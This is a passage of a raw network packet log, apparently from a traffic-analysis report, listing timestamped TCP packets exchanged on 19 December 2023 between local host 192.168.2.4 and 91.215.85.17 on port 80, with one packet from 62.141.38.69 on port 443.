Dec 19, 2023 03:22:28.627222061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.627295971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.627343893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.627479076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.627557039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.627592087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.627736092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.627794027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.627823114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.627968073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.628042936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.628071070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.628217936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.628271103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.628324032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.628499031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.628664017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.628714085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.628833055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.628979921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.629070044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.629103899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.629103899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.629349947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.629432917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.629502058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.629513979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.629617929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.629676104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.629872084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.629942894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630028009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630073071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.630125046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630203962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630265951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.630321026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630389929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630393028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.630551100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630598068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.630625963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630691051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630773067 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.630780935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630867958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.630971909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.631042957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.631043911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.631151915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.631236076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.645546913 CET	443	49742	62.141.38.69	192.168.2.4
Dec 19, 2023 03:22:28.853430986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.853811026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.853823900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.853987932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.854480982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854552031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.854612112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854624987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854636908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854679108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.854705095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854716063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854727030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854756117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.854758978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854794025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.854803085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854862928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854912043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.854940891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855015039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855072021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855094910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855135918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855211020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855271101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855314016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855321884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855364084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855381012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855402946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855415106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855416059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855460882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855463982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855479002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855493069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855519056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855546951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855561018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855587959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855670929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855742931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855755091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855779886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855794907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855813026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855829000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855850935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855864048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855864048 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855895042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855901957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855911970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.855950117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.855959892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856002092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856085062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856096983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856148005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856158018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856163979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856180906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856209993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856270075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856281996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856308937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856355906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856390953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856466055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856467009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856560946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856601000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856614113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856690884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856715918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856753111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856806040 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856832027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856877089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856940985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856950998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.856957912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.856993914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857012987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857064962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857079029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857091904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857104063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857141972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857141972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857141972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857171059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857184887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857189894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857206106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857230902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857237101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857269049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857285976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857316017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857335091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857350111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857359886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857384920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857409000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857420921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857439041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857471943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857495070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857506990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857542992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857872963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857930899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857952118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857964039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.857992887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.857992887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858074903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858140945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858187914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858212948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858279943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858290911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858333111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858333111 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858350992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858367920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858436108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858500957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858501911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858578920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858623028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858635902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858649015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858684063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858798027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858870029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858916998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.858939886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.858990908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859062910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.859077930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859119892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.859186888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859261990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859306097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.859349966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859421968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859493971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.859505892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859611034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859693050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859770060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.859812021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859880924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.859920979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.859960079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860016108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.860063076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860240936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860299110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.860322952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860414028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860485077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860508919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.860589027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860661030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860712051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.860753059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860835075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860903978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.860929966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.860985041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.861012936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861123085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861166954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.861192942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861280918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861321926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.861448050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861504078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861565113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861625910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.861648083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861712933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861763000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.861782074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861869097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.861887932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.861969948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862020016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.862062931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862102032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862152100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.862195969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862216949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862286091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862334967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.862343073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862374067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862421989 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.862468004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862504959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862531900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.862582922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862651110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.862684011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862766981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862845898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.862853050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.862977028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863065004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863142014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.863147974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863228083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863301039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863321066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.863332987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.863351107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863416910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863492012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.863497019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863591909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863678932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.863688946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863785028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.863934994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864007950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864013910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864087105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864137888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864151955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864206076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864218950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864284992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864348888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864381075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864443064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864578962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864598036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864628077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864646912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864650965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864723921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864782095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864785910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864821911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864892960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.864902020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.864939928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865021944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865092993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865111113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.865173101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865262032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.865310907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865405083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865448952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.865483999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865539074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.865570068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865669966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865714073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.865741014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865803003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865823030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.865866899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.865914106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866008997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866060972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.866110086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866142988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866157055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.866219997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866264105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.866282940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866353989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866413116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866426945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.866503000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866589069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866638899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.866663933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866714954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866767883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.866777897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.866817951 CET	49738	80	192.168.2.4	91.215.85.17
